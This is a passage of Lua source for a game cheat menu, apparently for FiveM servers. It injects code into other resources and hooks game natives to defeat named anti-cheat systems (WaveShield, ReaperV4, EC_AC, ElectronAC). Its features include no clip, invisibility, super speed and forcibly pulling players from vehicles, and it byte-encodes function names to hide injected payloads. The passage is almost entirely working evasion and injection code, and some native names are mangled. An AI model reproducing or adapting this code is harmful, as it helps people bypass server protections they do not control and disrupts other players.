= true, bindName = 'Solo session', onConfirm = function(setToggle) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("sdaddsadsadsad") == "started" if setToggle then if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if not NetworkIsInTutorialSession() then NetworkStartSoloTutorialSession() end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local SafeNetworkIsInTutorialSession = SafeWrap(NetworkIsInTutorialSession) local SafeNetworkStartSoloTutorialSession = SafeWrap(NetworkStartSoloTutorialSession) if not SafeNetworkIsInTutorialSession() then SafeNetworkStartSoloTutorialSession() end ]]) end else if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if NetworkIsInTutorialSession() then NetworkEndTutorialSession() end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local SafeNetworkIsInTutorialSession = SafeWrap(NetworkIsInTutorialSession) local SafeNetworkEndTutorialSession = SafeWrap(NetworkEndTutorialSession) if SafeNetworkIsInTutorialSession() then SafeNetworkEndTutorialSession() end ]]) end end end }, { label = 'Pull from Vehicle (E)', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Pull from Vehicle', onConfirm = function(setToggle) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdasdasdasd") == "started" if setToggle then if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if not _G.nexusPullFromVehicle then _G.nexusPullFromVehicle = { enabled = false } end _G.nexusPullFromVehicle.enabled = true CreateThread(function() while _G.nexusPullFromVehicle and _G.nexusPullFromVehicle.enabled do Wait(0) if IsDisabledControlPressed(0, 38) then local nveh = nil local dista = 99999999999999.0 for _, veh in ipairs(GetGamePool("CVehicle")) do local driver = GetPedInVehicleSeat(veh, -1) if driver and driver ~= 0 then local vehPos = GetEntityCoords(veh) local dist = #(GetEntityCoords(PlayerPedId()) - vehPos) if dist < dista then dista = dist nveh = veh end end end if nveh then SetVehicleDoorsLocked(nveh, 1) SetVehicleDoorsLockedForAllPlayers(nveh, false) local vjmi = GetEntityBoneIndexByName(nveh, "door_dside_f") if vjmi ~= -1 then AttachEntityToEntity(PlayerPedId(), nveh, vjmi, -0.5, -1.0, 0.0, 0.0, 0.0, 280.0, false, false, false, false, 2, true) SetPedCanRagdoll(PlayerPedId(), false) Wait(200) SetPedCanRagdoll(PlayerPedId(), false) TaskEnterVehicle(PlayerPedId(), nveh, 10, -1, 2.0, 8, 0) end end end end end) else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ -- Initialize pull from vehicle state if not _G.nexusPullFromVehicle then _G.nexusPullFromVehicle = { enabled = false } end _G.nexusPullFromVehicle.enabled = true -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end local function _c() return _g(_b("Citizen")) end -- Main pull from vehicle thread local function startPullFromVehicle() local citizen = _c() citizen.CreateThread(function() while _G.nexusPullFromVehicle and _G.nexusPullFromVehicle.enabled do _w(0) local IsDisabledControlPressed = _g(_b("IsControlJustPressed")) if IsDisabledControlPressed(0, 38) then local nveh = nil local dista = 99999999999999.0 local getGamePool = _g(_b("GetGamePool")) local getPedInVehicleSeat = _g(_b("GetPedInVehicleSeat")) local getEntityCoords = _g(_b("GetEntityCoords")) local playerPedId = _g(_b("PlayerPedId")) local setVehicleDoorsLocked = _g(_b("SetVehicleDoorsLocked")) local setVehicleDoorsLockedForAllPlayers = _g(_b("SetVehicleDoorsLockedForAllPlayers")) local getEntityBoneIndexByName = _g(_b("GetEntityBoneIndexByName")) local attachEntityToEntity = _g(_b("AttachEntityToEntity")) local setPedCanRagdoll = _g(_b("SetPedCanRagdoll")) local taskEnterVehicle = _g(_b("TaskEnterVehicle")) for _, veh in ipairs(getGamePool("CVehicle")) do local driver = getPedInVehicleSeat(veh, -1) if driver and driver ~= 0 then local vehPos = getEntityCoords(veh) local dist = #(getEntityCoords(playerPedId()) - vehPos) if dist < dista then dista = dist nveh = veh end end end if nveh then setVehicleDoorsLocked(nveh, 1) setVehicleDoorsLockedForAllPlayers(nveh, false) local vjmi = getEntityBoneIndexByName(nveh, "door_dside_f") if vjmi ~= -1 then attachEntityToEntity(playerPedId(), nveh, vjmi, -0.5, -1.0, 0.0, 0.0, 0.0, 280.0, false, false, false, false, 2, true) setPedCanRagdoll(playerPedId(), false) _w(200) setPedCanRagdoll(playerPedId(), false) taskEnterVehicle(playerPedId(), nveh, 10, -1, 2.0, 8, 0) end end end end end) end startPullFromVehicle() ]]) end else if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if _G.nexusPullFromVehicle then _G.nexusPullFromVehicle.enabled = false end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ if _G.nexusPullFromVehicle then _G.nexusPullFromVehicle.enabled = false end ]]) end end end } } }, { name = 'Movement', submenu = { { label = 'Super Jump', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Super Jump', onConfirm = function(setToggle) ---("Super Jump toggled:", setToggle) SafeInjectResourceRaw(InjectionResource(), [[ SetSuperJumpThisFrame(PlayerId()) ]]) end }, { label = 'Super Speed', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Super Speed', onConfirm = function(setToggle) ---("Super Speed toggled:", setToggle) SafeInjectResourceRaw(InjectionResource(), [[ if ]] .. tostring(setToggle) .. [[ then SetRunS---MultiplierForPlayer(PlayerId(), 2.0) else SetRunS---MultiplierForPlayer(PlayerId(), 1.0) end ]]) end }, { label = 'Invisibility Toggle', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Invisibility', onConfirm = function(setToggle) if setToggle then -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end if sRtYuIoPaSdFgHj == nil then sRtYuIoPaSdFgHj = false end sRtYuIoPaSdFgHj = true local function d2NcWoyTfb() if sRtYuIoPaSdFgHj == nil then sRtYuIoPaSdFgHj = false end sRtYuIoPaSdFgHj = true local RvBcNxMzKgUiLo = _g(_b("PlayerPedId")) local WqErTyUiOpAsDf = _g(_b("SetEntityVisible")) local HnJmKlPoIuYtRe = _t() HnJmKlPoIuYtRe(function() while sRtYuIoPaSdFgHj and not Unloaded do local hGfDrEsWxQaZcVb = RvBcNxMzKgUiLo() WqErTyUiOpAsDf(hGfDrEsWxQaZcVb, false, false) _w(0) end local hGfDrEsWxQaZcVb = RvBcNxMzKgUiLo() WqErTyUiOpAsDf(hGfDrEsWxQaZcVb, true, false) end) end d2NcWoyTfb() else -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end sRtYuIoPaSdFgHj = false local function tBKM4syGJL() local RvBcNxMzKgUiLo = _g(_b("PlayerPedId")) local WqErTyUiOpAsDf = _g(_b("SetEntityVisible")) local hGfDrEsWxQaZcVb = RvBcNxMzKgUiLo() WqErTyUiOpAsDf(hGfDrEsWxQaZcVb, true, false) end tBKM4syGJL() end end }, { label = 'No Clip', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle No Clip', onConfirm = function(setToggle) if setToggle then -- Detect ElectronAC by checking resource metadata local electronACRunning = false local numResources = GetNumResources() for i = 0, numResources - 1 do local resName = GetResourceByFindIndex(i) if resName and GetResourceState(resName) == "started" then local acMeta = GetResourceMetadata(resName, "ac", 0) if acMeta == "electron" then electronACRunning = true break end end end if GetResourceState("ReaperV4") == "started" or GetResourceState("WaveShield") == "started" or GetResourceState("EC_AC") == "started" then -- Use native hooking instead of injection when ReaperV4 or WaveShield is running -- Hooks are already set up globally at the top of the file if not _G.oclipThreadRunning then _G.oclipEnabled = true _G.oclipThreadRunning = true _G.oclipSpeed = noclipSpeed or 2.0 -- Hook natives using MachoHookNative -- Note: Native hashes may need to be verified/adjusted -- Store hook references for unhooking later if not _G.oclipHookRefs then _G.oclipHookRefs = {} -- IsPedClimbing - return true when noclip enabled _G.oclipHookRefs.isPedClimbing = MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G.oclipEnabled then return false, true end end) -- GetGameTimer - return 100 when noclip enabled _G.oclipHookRefs.getGameTimer = MachoHookNative(0x317B11A312DF5534, function() if _G.oclipEnabled then return false, 100 end end) -- IsPedJumpingOutOfVehicle - return true when noclip enabled _G.oclipHookRefs.isPedJumpingOutOfVehicle = MachoHookNative(0x433DDFFE2044B636, function(ped) if _G.oclipEnabled then return false, true end end) -- IsPedJumping - return true when noclip enabled _G.oclipHookRefs.isPedJumping = MachoHookNative(0xCEDABC5900A0BF97, function(ped) if _G.oclipEnabled then return false, true end end) -- GetPedParachuteState - return 1 when noclip enabled _G.oclipHookRefs.getPedParachuteState = MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G.oclipEnabled then return false, -1 end end) -- Anti-teleport detection bypass natives -- GetEntitySpeed - return normal speed when noclip enabled _G.oclipHookRefs.getEntitySpeed = MachoHookNative(0xD5037BA82E12416F, function(entity) if _G.oclipEnabled then return false, 0.0 end end) -- GetDistanceBetweenCoords - return 0 distance when noclip enabled _G.oclipHookRefs.getDistanceBetweenCoords = MachoHookNative(0x5A6FFA2433E2F14C, function(x1, y1, z1, x2, y2, z2) if _G.oclipEnabled then return false, 0.0 end end) -- GetEntityHeightAboveGround - return 0 (on ground) when noclip enabled _G.oclipHookRefs.getEntityHeightAboveGround = MachoHookNative(0x3C06B5C839B6D089, function(entity) if _G.oclipEnabled then return false, 0.0 end end) -- GetEntityVelocity - return zero velocity when noclip enabled _G.oclipHookRefs.getEntityVelocity = MachoHookNative(0x6D79A46D89206AC5, function(entity) if _G.oclipEnabled then return false, 0.0, 0.0, 0.0 end end) -- StartShapeTestRay - return no collision when noclip enabled _G.oclipHookRefs.startShapeTestRay = MachoHookNative(0x45E47C3973579C19, function(x, y, z, x2, y2, z2, flags, entity, p8) if _G.oclipEnabled then return false, 0, 0, 0, 0, 0 end end) -- IsPedSwimming - return false when noclip enabled _G.oclipHookRefs.isPedSwimming = MachoHookNative(0xC024869A53992F3A, function(ped) if _G.oclipEnabled then return false, false end end) -- IsPedRagdoll - return false when noclip enabled _G.oclipHookRefs.isPedRagdoll = MachoHookNative(0x9DE327631295B4C2, function(ped) if _G.oclipEnabled then return false, false end end) end -- Run noclip thread directly CreateThread(function() while _G.oclipThreadRunning do Wait(0) if not _G.oclipEnabled then Wait(500) goto continue end local ped = GetPlayerPed(-1) if not DoesEntityExist(ped) then goto continue end local vehicle = GetVehiclePedIsIn(ped, false) local entity = (vehicle ~= 0 and vehicle) or ped if not DoesEntityExist(entity) then goto continue end local coords = GetEntityCoords(entity, true) local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(entity) local pitch = GetGameplayCamRelativePitch() local radH = heading * math.pi / 180.0 local radP = pitch * math.pi / 180.0 local dx = -math.sin(radH) local dy = math.cos(radH) local dz = math.sin(radP) local len = math.sqrt(dx*dx + dy*dy + dz*dz) if len ~= 0 then dx = dx / len dy = dy / len dz = dz / len end local speed = _G.oclipSpeed or 0.25 local sprint = IsDisabledControlPressed(0, 21) local slow = IsDisabledControlPressed(0, 19) if sprint then speed = speed + 1 end if slow then speed = 0.10 end local forward = IsDisabledControlPressed(0, 32) local back = IsDisabledControlPressed(0, 269) local left = IsDisabledControlPressed(0, 34) local right = IsDisabledControlPressed(0, 9) local up = IsDisabledControlPressed(0, 22) local down = IsDisabledControlPressed(0, 62) if forward then coords = coords + vector3(speed * dx, speed * dy, speed * dz) elseif back then coords = coords - vector3(speed * dx, speed * dy, speed * dz) end if left then coords = coords + vector3(-speed * dy, speed * dx, 0.0) elseif right then coords = coords + vector3(speed * dy, -speed * dx, 0.0) end if up then coords = coords + vector3(0.0, 0.0, speed) elseif down then coords = coords - vector3(0.0, 0.0, speed) end SetEntityCoordsNoOffset(entity, coords.x, coords.y, coords.z, true, true, true) SetEntityHeading(entity, heading) ::continue:: end end) else _G.oclipEnabled = true _G.oclipSpeed = noclipSpeed or 2.0 end MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No Clip Enabled", type = 'success' })) return elseif electronACRunning then -- EagleAC: install hooks to bypass detection, then inject thread via SafeInjectResourceRaw if not _G.oclipHookRefs then _G.oclipHookRefs = {} _G.oclipHookRefs.isPedClimbing = MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getGameTimer = MachoHookNative(0x317B11A312DF5534, function() if _G.oclipEnabled then return false, 100 end end) _G.oclipHookRefs.isPedJumpingOutOfVehicle = MachoHookNative(0x433DDFFE2044B636, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.isPedJumping = MachoHookNative(0xCEDABC5900A0BF97, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getPedParachuteState = MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G.oclipEnabled then return false, -1 end end) _G.oclipHookRefs.getEntitySpeed = MachoHookNative(0xD5037BA82E12416F, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getDistanceBetweenCoords = MachoHookNative(0x5A6FFA2433E2F14C, function(x1,y1,z1,x2,y2,z2) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityHeightAboveGround= MachoHookNative(0x3C06B5C839B6D089, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityVelocity = MachoHookNative(0x6D79A46D89206AC5, function(entity) if _G.oclipEnabled then return false, 0.0, 0.0, 0.0 end end) _G.oclipHookRefs.startShapeTestRay = MachoHookNative(0x45E47C3973579C19, function(x,y,z,x2,y2,z2,flags,entity,p8) if _G.oclipEnabled then return false, 0, 0, 0, 0, 0 end end) _G.oclipHookRefs.isPedSwimming = MachoHookNative(0xC024869A53992F3A, function(ped) if _G.oclipEnabled then return false, false end end) _G.oclipHookRefs.isPedRagdoll = MachoHookNative(0x9DE327631295B4C2, function(ped) if _G.oclipEnabled then return false, false end end) end -- Inject noclip thread via SafeInjectResourceRaw (hooks bypass EagleAC detection) SafeInjectResourceRaw(InjectionResource(), [[ _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ if not _G.oclipThreadRunning then _G.oclipEnabled = true _G.oclipThreadRunning = true CreateThread(function() while _G.oclipThreadRunning do Wait(0) if not _G.oclipEnabled then Wait(500) goto continue end local ped = GetPlayerPed(-1) if not DoesEntityExist(ped) then goto continue end local vehicle = GetVehiclePedIsIn(ped, false) local entity = (vehicle ~= 0 and vehicle) or ped if not DoesEntityExist(entity) then goto continue end local coords = GetEntityCoords(entity, true) local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(entity) local pitch = GetGameplayCamRelativePitch() local radH = heading * math.pi / 180.0 local radP = pitch * math.pi / 180.0 local dx = -math.sin(radH) local dy = math.cos(radH) local dz = math.sin(radP) local len = math.sqrt(dx*dx + dy*dy + dz*dz) if len ~= 0 then dx = dx / len dy = dy / len dz = dz / len end local speed = _G.oclipSpeed or 0.25 local sprint = IsDisabledControlPressed(0, 21) local slow = IsDisabledControlPressed(0, 19) if sprint then speed = speed + 1 end if slow then speed = 0.10 end local forward = IsDisabledControlPressed(0, 32) local back = IsDisabledControlPressed(0, 269) local left = IsDisabledControlPressed(0, 34) local right = IsDisabledControlPressed(0, 9) local up = IsDisabledControlPressed(0, 22) local down = IsDisabledControlPressed(0, 62) if forward then coords = coords + vector3(speed * dx, speed * dy, speed * dz) elseif back then coords = coords - vector3(speed * dx, speed * dy, speed * dz) end if left then coords = coords + vector3(-speed * dy, speed * dx, 0.0) elseif right then coords = coords + vector3(speed * dy, -speed * dx, 0.0) end if up then coords = coords + vector3(0.0, 0.0, speed) elseif down then coords = coords - vector3(0.0, 0.0, speed) end SetEntityCoordsNoOffset(entity, coords.x, coords.y, coords.z, true, true, true) SetEntityHeading(entity, heading) ::continue:: end end) else _G.oclipEnabled = true _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ end ]]) MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No Clip Enabled", type = 'success' })) return end if not FirstInjectionPassed then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Initializing... Please wait!", type = 'info' })) Wait(400) FirstInjectionPassed = true end if GetResourceState("ReaperV4") == "started" then -- ReaperV4: set up anti-detection native hooks if not _G.oclipHookRefs then _G.oclipHookRefs = {} _G.oclipHookRefs.isPedClimbing = MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getGameTimer = MachoHookNative(0x317B11A312DF5534, function() if _G.oclipEnabled then return false, 100 end end) _G.oclipHookRefs.isPedJumpingOutOfVehicle = MachoHookNative(0x433DDFFE2044B636, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.isPedJumping = MachoHookNative(0xCEDABC5900A0BF97, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getPedParachuteState = MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G.oclipEnabled then return false, -1 end end) _G.oclipHookRefs.getEntitySpeed = MachoHookNative(0xD5037BA82E12416F, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getDistanceBetweenCoords = MachoHookNative(0x5A6FFA2433E2F14C, function(x1,y1,z1,x2,y2,z2) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityHeightAboveGround= MachoHookNative(0x3C06B5C839B6D089, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityVelocity = MachoHookNative(0x6D79A46D89206AC5, function(entity) if _G.oclipEnabled then return false, 0.0, 0.0, 0.0 end end) _G.oclipHookRefs.startShapeTestRay = MachoHookNative(0x45E47C3973579C19, function(x,y,z,x2,y2,z2,flags,entity,p8) if _G.oclipEnabled then return false, 0, 0, 0, 0, 0 end end) _G.oclipHookRefs.isPedSwimming = MachoHookNative(0xC024869A53992F3A, function(ped) if _G.oclipEnabled then return false, false end end) _G.oclipHookRefs.isPedRagdoll = MachoHookNative(0x9DE327631295B4C2, function(ped) if _G.oclipEnabled then return false, false end end) end -- ReaperV4: inject noclip thread using _G. prefixed natives to bypass ReaperV4 hooks local noclipCode = [[ _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ if not _G.oclipThreadRunning then _G.oclipEnabled = true _G.oclipThreadRunning = true _G.CreateThread(function() while _G.oclipThreadRunning do _G.Wait(0) if not _G.oclipEnabled then _G.Wait(500) goto continue end local ped = _G.GetPlayerPed(-1) if not _G.DoesEntityExist(ped) then goto continue end local vehicle = _G.GetVehiclePedIsIn(ped, false) local entity = (vehicle ~= 0 and vehicle) or ped if not _G.DoesEntityExist(entity) then goto continue end local coords = _G.GetEntityCoords(entity, true) local heading = _G.GetGameplayCamRelativeHeading() + _G.GetEntityHeading(entity) local pitch = _G.GetGameplayCamRelativePitch() local radH = heading * math.pi / 180.0 local radP = pitch * math.pi / 180.0 local dx = -math.sin(radH) local dy = math.cos(radH) local dz = math.sin(radP) local len = math.sqrt(dx*dx + dy*dy + dz*dz) if len ~= 0 then dx = dx / len dy = dy / len dz = dz / len end local speed = _G.oclipSpeed or 0.25 local sprint = _G.IsDisabledControlPressed(0, 21) local slow = _G.IsDisabledControlPressed(0, 19) if sprint then speed = speed + 1 end if slow then speed = 0.10 end local forward = _G.IsDisabledControlPressed(0, 32) local back = _G.IsDisabledControlPressed(0, 269) local left = _G.IsDisabledControlPressed(0, 34) local right = _G.IsDisabledControlPressed(0, 9) local up = _G.IsDisabledControlPressed(0, 22) local down = _G.IsDisabledControlPressed(0, 62) if forward then coords = coords + vector3(speed * dx, speed * dy, speed * dz) elseif back then coords = coords - vector3(speed * dx, speed * dy, speed * dz) end if left then coords = coords + vector3(-speed * dy, speed * dx, 0.0) elseif right then coords = coords + vector3(speed * dy, -speed * dx, 0.0) end if up then coords = coords + vector3(0.0, 0.0, speed) elseif down then coords = coords - vector3(0.0, 0.0, speed) end _G.SetEntityCoordsNoOffset(entity, coords.x, coords.y, coords.z, true, true, true) _G.SetEntityHeading(entity, heading) ::continue:: end end) else _G.oclipEnabled = true _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ end ]] SafeInjectResourceRaw(InjectionResource(), noclipCode) elseif GetResourceState("WaveShield") == "started" or GetResourceState("EC_AC") == "started" then -- WaveShield / EC_AC: inject via monitor using WS_RunSafeFunc wrappers if not _G.oclipHookRefs then _G.oclipHookRefs = {} _G.oclipHookRefs.isPedClimbing = MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getGameTimer = MachoHookNative(0x317B11A312DF5534, function() if _G.oclipEnabled then return false, 100 end end) _G.oclipHookRefs.isPedJumpingOutOfVehicle = MachoHookNative(0x433DDFFE2044B636, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.isPedJumping = MachoHookNative(0xCEDABC5900A0BF97, function(ped) if _G.oclipEnabled then return false, true end end) _G.oclipHookRefs.getPedParachuteState = MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G.oclipEnabled then return false, -1 end end) _G.oclipHookRefs.getEntitySpeed = MachoHookNative(0xD5037BA82E12416F, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getDistanceBetweenCoords = MachoHookNative(0x5A6FFA2433E2F14C, function(x1, y1, z1, x2, y2, z2) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityHeightAboveGround = MachoHookNative(0x3C06B5C839B6D089, function(entity) if _G.oclipEnabled then return false, 0.0 end end) _G.oclipHookRefs.getEntityVelocity = MachoHookNative(0x6D79A46D89206AC5, function(entity) if _G.oclipEnabled then return false, 0.0, 0.0, 0.0 end end) _G.oclipHookRefs.startShapeTestRay = MachoHookNative(0x45E47C3973579C19, function(x, y, z, x2, y2, z2, flags, entity, p8) if _G.oclipEnabled then return false, 0, 0, 0, 0, 0 end end) _G.oclipHookRefs.isPedSwimming = MachoHookNative(0xC024869A53992F3A, function(ped) if _G.oclipEnabled then return false, false end end) _G.oclipHookRefs.isPedRagdoll = MachoHookNative(0x9DE327631295B4C2, function(ped) if _G.oclipEnabled then return false, false end end) end local NewThreadNs = 3 MachoInjectResource2(NewThreadNs, 'monitor', [[ _G.WS_RunSafeFunc = function(setFunc, ...) LocalPlayer.state:set('sigma', setFunc, false) LocalPlayer.state['sigma'](...) end local function SafeWrap(native) return function(...) return _G.WS_RunSafeFunc(native, ...) end end local CreateThread = SafeWrap(_G.CreateThread) local Wait = SafeWrap(_G.Wait) local GetPlayerPed = SafeWrap(_G.GetPlayerPed) local DoesEntityExist = SafeWrap(_G.DoesEntityExist) local GetVehiclePedIsIn = SafeWrap(_G.GetVehiclePedIsIn) local GetEntityCoords = SafeWrap(_G.GetEntityCoords) local GetGameplayCamRelativeHeading = SafeWrap(_G.GetGameplayCamRelativeHeading) local GetEntityHeading = SafeWrap(_G.GetEntityHeading) local GetGameplayCamRelativePitch = SafeWrap(_G.GetGameplayCamRelativePitch) local IsDisabledControlPressed = SafeWrap(_G.IsDisabledControlPressed) local SetEntityCoordsNoOffset = SafeWrap(_G.SetEntityCoordsNoOffset) local SetEntityHeading = SafeWrap(_G.SetEntityHeading) _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ if not _G.oclipThreadRunning then _G.oclipEnabled = true _G.oclipThreadRunning = true CreateThread(function() while _G.oclipThreadRunning do Wait(0) if not _G.oclipEnabled then Wait(500) goto continue end local ped = GetPlayerPed(-1) if not DoesEntityExist(ped) then goto continue end local vehicle = GetVehiclePedIsIn(ped, false) local entity = (vehicle ~= 0 and vehicle) or ped if not DoesEntityExist(entity) then goto continue end local coords = GetEntityCoords(entity, true) local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(entity) local pitch = GetGameplayCamRelativePitch() local radH = heading * math.pi / 180.0 local radP = pitch * math.pi / 180.0 local dx = -math.sin(radH) local dy = math.cos(radH) local dz = math.sin(radP) local len = math.sqrt(dx*dx + dy*dy + dz*dz) if len ~= 0 then dx = dx / len dy = dy / len dz = dz / len end local speed = _G.oclipSpeed or 0.25 local sprint = IsDisabledControlPressed(0, 21) local slow = IsDisabledControlPressed(0, 19) if sprint then speed = speed + 1 end if slow then speed = 0.10 end local forward = IsDisabledControlPressed(0, 32) local back = IsDisabledControlPressed(0, 269) local left = IsDisabledControlPressed(0, 34) local right = IsDisabledControlPressed(0, 9) local up = IsDisabledControlPressed(0, 22) local down = IsDisabledControlPressed(0, 62) if forward then coords = coords + vector3(speed * dx, speed * dy, speed * dz) elseif back then coords = coords - vector3(speed * dx, speed * dy, speed * dz) end if left then coords = coords + vector3(-speed * dy, speed * dx, 0.0) elseif right then coords = coords + vector3(speed * dy, -speed * dx, 0.0) end if up then coords = coords + vector3(0.0, 0.0, speed) elseif down then coords = coords - vector3(0.0, 0.0, speed) end SetEntityCoordsNoOffset(entity, coords.x, coords.y, coords.z, true, true, true) SetEntityHeading(entity, heading) ::continue:: end end) else _G.oclipEnabled = true _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ end ]]) else MachoInjectResourceRaw(GetResourceState("monitor") == "started" and "monitor" or GetResourceState("ox_lib") == "started" and "ox_lib" or "any", [[ _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ if not _G.oclipThreadRunning then _G.oclipEnabled = true _G.oclipThreadRunning = true local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local SafeWait = SafeWrap(Wait) local SafeGetPlayerPed = SafeWrap(GetPlayerPed) local SafeGetVehiclePedIsIn = SafeWrap(GetVehiclePedIsIn) local SafeIsDisabledControlPressed = SafeWrap(IsDisabledControlPressed) local SafeGetEntityCoords = SafeWrap(GetEntityCoords) local SafeGetGameplayCamRelativeHeading = SafeWrap(GetGameplayCamRelativeHeading) local SafeGetGameplayCamRelativePitch = SafeWrap(GetGameplayCamRelativePitch) local SafeSetEntityCoordsNoOffset = SafeWrap(SetEntityCoordsNoOffset) local SafeSetEntityHeading = SafeWrap(SetEntityHeading) local SafeGetEntityHeading = SafeWrap(GetEntityHeading) local SafeDoesEntityExist = SafeWrap(DoesEntityExist) local SafeCreateThread = SafeWrap(CreateThread) SafeCreateThread(function() while _G.oclipThreadRunning do SafeWait(0) if not _G.oclipEnabled then SafeWait(500) goto continue end local ped = SafeGetPlayerPed(-1) if not SafeDoesEntityExist(ped) then goto continue end local vehicle = SafeGetVehiclePedIsIn(ped, false) local entity = (vehicle ~= 0 and vehicle) or ped if not SafeDoesEntityExist(entity) then goto continue end local coords = SafeGetEntityCoords(entity, true) local heading = SafeGetGameplayCamRelativeHeading() + SafeGetEntityHeading(entity) local pitch = SafeGetGameplayCamRelativePitch() local radH = heading * math.pi / 180.0 local radP = pitch * math.pi / 180.0 local dx = -math.sin(radH) local dy = math.cos(radH) local dz = math.sin(radP) local len = math.sqrt(dx*dx + dy*dy + dz*dz) if len ~= 0 then dx = dx / len dy = dy / len dz = dz / len end local speed = _G.oclipSpeed or 0.25 local sprint = SafeIsDisabledControlPressed(0, 21) local slow = SafeIsDisabledControlPressed(0, 19) if sprint then speed = speed + 1 end if slow then speed = 0.10 end local forward = SafeIsDisabledControlPressed(0, 32) local back = SafeIsDisabledControlPressed(0, 269) local left = SafeIsDisabledControlPressed(0, 34) local right = SafeIsDisabledControlPressed(0, 9) local up = SafeIsDisabledControlPressed(0, 22) local down = SafeIsDisabledControlPressed(0, 62) if forward then coords = coords + vector3(speed * dx, speed * dy, speed * dz) elseif back then coords = coords - vector3(speed * dx, speed * dy, speed * dz) end if left then coords = coords + vector3(-speed * dy, speed * dx, 0.0) elseif right then coords = coords + vector3(speed * dy, -speed * dx, 0.0) end if up then coords = coords + vector3(0.0, 0.0, speed) elseif down then coords = coords - vector3(0.0, 0.0, speed) end SafeSetEntityCoordsNoOffset(entity, coords.x, coords.y, coords.z, true, true, true) SafeSetEntityHeading(entity, heading) ::continue:: end end) else _G.oclipEnabled = true _G.oclipSpeed = ]] .. (noclipSpeed or 2.0) .. [[ end ]]) end MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No Clip Enabled", type = 'success' })) else if GetResourceState("ReaperV4") == "started" or GetResourceState("WaveShield") == "started" or GetResourceState("EC_AC") == "started" or electronACRunning then -- Disable native hook noclip and unhook all natives _G.oclipEnabled = false _G.oclipThreadRunning = false -- Unhook all native hooks if _G.oclipHookRefs then if _G.oclipHookRefs.isPedClimbing then MachoUnhookNative(_G.oclipHookRefs.isPedClimbing) end if _G.oclipHookRefs.getGameTimer then MachoUnhookNative(_G.oclipHookRefs.getGameTimer) end if _G.oclipHookRefs.isPedJumpingOutOfVehicle then MachoUnhookNative(_G.oclipHookRefs.isPedJumpingOutOfVehicle) end if _G.oclipHookRefs.isPedJumping then MachoUnhookNative(_G.oclipHookRefs.isPedJumping) end if _G.oclipHookRefs.getPedParachuteState then 